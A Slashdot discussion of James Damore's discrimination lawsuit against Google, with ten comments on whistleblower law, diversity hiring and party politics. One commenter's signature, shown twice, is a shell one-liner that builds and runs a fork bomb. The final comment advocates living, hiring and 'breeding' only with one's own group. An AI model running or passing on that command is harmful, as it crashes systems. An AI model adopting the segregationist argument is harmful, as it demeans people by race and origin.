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James Damore Sues Google For Allegedly Discriminating Against Conservative White Men (theverge.com)

An anonymous reader shares a report: The author of the controversial memo that upended Google in August is suing the company, alleging that white, male conservatives are systematically discriminated against by Google. James Damore was fired as an engineer after a manifesto questioning the benefits of diversity programs was widely passed around the company. In a new lawsuit, he and another fired engineer claim that "employees who expressed views deviating from the majority view at Google on political subjects raised in the workplace and relevant to Google's employment policies and its business, such as 'diversity' hiring policies, 'bias sensitivity,' or 'social justice,' were/are singled out, mistreated, and systematically punished and terminated from Google, in violation of their legal rights."

10 of 1,175 comments (clear)

  1. Re:Let's see.... by Hal_Porter · · Score: 5, Interesting

    There may very well be laws against firing whistleblowers who were blowing the whistle on illegal discrimination.

    Illegal discrimination would be anything that violates the equal protection clause

    https://en.wikipedia.org/wiki/...

    And if Google were illegally discriminating and Damore pointed this out, which he did, it would be illegal to fire him

    https://www.workplacefairness....

    In addition, the California State Legislature has adopted statutory protections for employees. Notably, California has a general whistleblower protection statute that protects employees who disclose illegal activity or refuse to participate in illegal activities. Whistleblowers are thus protected under both this statute and the common law public policy exception. Also, several other California statutes contain anti-retaliation provisions. Employees who engage in protected activities (usually filing a complaint or testifying) under laws in the following subject areas are protected from retaliation: discrimination, hazardous substances, occupational safety and health, and workers' compensation. Also, California protects employees who file a complaint relating to employee rights with Labor Commissioner.

    Damore's memo was more subtle than his detractors give him credit for

    https://web.archive.org/web/20...

    He explains that 'Google has created several discriminatory practice' and suggests 'non discriminatory ways to reduce the gender gap'. So he could argue Google were breaking the law, he blew the whistle and they fired him.

    Google have pots of money of course, so they'll probably pay him off. And go on discriminating.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  2. Really, Really bad summary by Anonymous Coward · · Score: 5, Interesting

    ...as an engineer after a manifesto questioning the benefits of diversity programs....

    His manifesto did not question the benefits of the diversity program. It questioned its fficacy -- in other words, he questioned if Google could achieve more diversity by structuring the program differently.

    And that's a very big difference. I really hate the level of journalism being thrown at this topic, here and everywhere else.

  3. Re:Finally by dirk · · Score: 4, Interesting

    While you are right, that isn't what they are alleging in the suit. According to the article, this isn't about white men, but white conservative men who espoused views different than Google's. So it isn't that they discriminated against "white men" but only a subset of white men, which means it wasn't race of sex discrimination. And the fact that they think the only people who could be discriminated against by Google for espousing views different than theirs are white men says a lot of about the complainants. They apparently believe only white men would hold views that would be discriminated against by Google. It's hard to say a place that is made up mostly of white men and pays white men as good or better than everyone else discriminates against white men. They are taking their issue and trying to make it about all white men, which is clearly is not.

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    "Information wants to be expensive" - Stewart Brand, the same guy who said "Information wants to be free"
  4. Re:Finally by greenwow · · Score: 4, Interesting

    No, because often it is required. We got nailed at work for hiring too many males even though we hired female candidates at a higher rate than males. We went over two years without being able to hire anyone decent because of that. It sucked interviewing one idiot after another and not being able to bring in any males. That really hurt the company, and it made my life much harder since I had to do the work of my entire five man team since we couldn't hire replacements for the people that quit to go to a new competitor.

  5. Re:Finally by Hal_Porter · · Score: 5, Interesting

    http://www.nationalreview.com/...

    If the parties had in some meaningful way flipped on civil rights, one would expect that to show up in the electoral results in the years following the Democrats' 1964 about-face on the issue. Nothing of the sort happened: Of the 21 Democratic senators who opposed the 1964 act, only one would ever change parties. Nor did the segregationist constituencies that elected these Democrats throw them out in favor of Republicans: The remaining 20 continued to be elected as Democrats or were replaced by Democrats. It was, on average, nearly a quarter of a century before those seats went Republican. If southern rednecks ditched the Democrats because of a civil-rights law passed in 1964, it is strange that they waited until the late 1980s and early 1990s to do so. They say things move slower in the South - but not that slow.

    Republicans did begin to win some southern House seats, and in many cases segregationist Democrats were thrown out by southern voters in favor of civil-rights Republicans. One of the loudest Democratic segregationists in the House was Texas's John Dowdy, a bitter and buffoonish opponent of the 1964 reforms, which he declared "would set up a despot in the attorney general's office with a large corps of enforcers under him; and his will and his oppressive action would be brought to bear upon citizens, just as Hitler's minions coerced and subjugated the German people. I would say this - I believe this would be agreed to by most people: that, if we had a Hitler in the United States, the first thing he would want would be a bill of this nature." (Who says political rhetoric has been debased in the past 40 years?) Dowdy was thrown out in 1966 in favor of a Republican with a very respectable record on civil rights, a little-known figure by the name of George H. W. Bush.

    It was in fact not until 1995 that Republicans represented a majority of the southern congressional delegation - and they had hardly spent the Reagan years campaigning on the resurrection of Jim Crow.

    And that's from the National Review, a magazine which is keen - overly keen in my opinion - to denounce Trump as some sort of moral abomination.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  6. Re:Finally by Marxist+Hacker+42 · · Score: 5, Interesting
    --
    SJW: a person who perceives an injustice, and while correcting it, commits a greater injustice.
  7. Re:Finally and ignorant aggrieved white person! by jeff4747 · · Score: 4, Interesting

    It astounds me that American politics has devolved into confused name-calling and an almost complete inability to form coherent and rational arguments.

    That's mostly how it appears on TV.

    "On the ground" in the state and local governments, things are generally more sane.

    It's also pretty clear to anyone with a reasonable grasp of the English language that President Trump is prone to frequent odd outbursts and declarations that are sometimes completely incoherent and provably false. That should be cause for significant concern, whether you're conservative or liberal.

    Our political system doesn't really have all that many checks or balances in it. It has primarily worked on social norms. Continuous, blatant lying used to violate those norms, and so would cause some repercussions.

    However, the Republican party currently sees an advantage in torching all those norms, and gerrymandering and legislative structure gives them about a 10-15% popular vote buffer to retain power. So there's no one with sufficient power who is willing to step in.

    What will get "interesting" is when that 10-15% buffer is not large enough, and the Democratic party seizes absolute power with no social norms remaining. Because the climb over that buffer is not being done by the right-wing of the party, but the left. The right-wing of the party will want to restore the norms. The left wing of the party will find that unacceptable. And thus things start to get really interesting.

  8. Re:Finally by LeftCoastThinker · · Score: 4, Interesting

    This is actually textbook punishment of a victim of discrimination escalating to management. He highlighted illegal, textbook discrimination (at least in California) at Google and was harassed and eventually fired for it. I would take his case in a minute. If he is smart he will also bend Google over in the court of public opinion. They will be begging him for a settlement if he plays his cards right.

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    If you disagree, please post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like
  9. Re:Finally by lucm · · Score: 5, Interesting

    But it would be infeasible in software development.

    And yet Google (and a few others) are doing it. It's not even difficult how; they discriminate against white males (and asian males to a point) in the hiring process so they can claim diversity awards, and then they acquire talented white or asian males as a package deal when they buy companies because they need better tech and their regular staff is useless diversity hires.

    Think I'm kidding? Look it up:
    https://en.wikipedia.org/wiki/...

    Find startups with strong female presence in that list.

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    lucm, indeed.
  10. Diversity is dysfunctional. by alternative_right · · Score: 4, Interesting

    We all want to be with people like us. That means living near, hiring, being hired by, buying from, selling to, dating, marrying, breeding with, befriending, having them as our law enforcement officers and judges, seeing them daily, and having shared cultural standards and mores with them.

    Robert Putnam (author of Bowling Alone) had some convincing research on the failure of diversity which explains our balkanized and atomized state:

    Harvard political scientist Robert Putnam -- famous for "Bowling Alone," his 2000 book on declining civic engagement -- has found that the greater the diversity in a community, the fewer people vote and the less they volunteer, the less they give to charity and work on community projects. In the most diverse communities, neighbors trust one another about half as much as they do in the most homogenous settings. The study, the largest ever on civic engagement in America, found that virtually all measures of civic health are lower in more diverse settings. ...Putnam claims the US has experienced a pronounced decline in "social capital," a term he helped popularize. Social capital refers to the social networks -- whether friendships or religious congregations or neighborhood associations -- that he says are key indicators of civic well-being. When social capital is high, says Putnam, communities are better places to live. Neighborhoods are safer; people are healthier; and more citizens vote. ...In more diverse communities, he says, there were neither great bonds formed across group lines nor heightened ethnic tensions, but a general civic malaise. And in perhaps the most surprising result of all, levels of trust were not only lower between groups in more diverse settings, but even among members of the same group.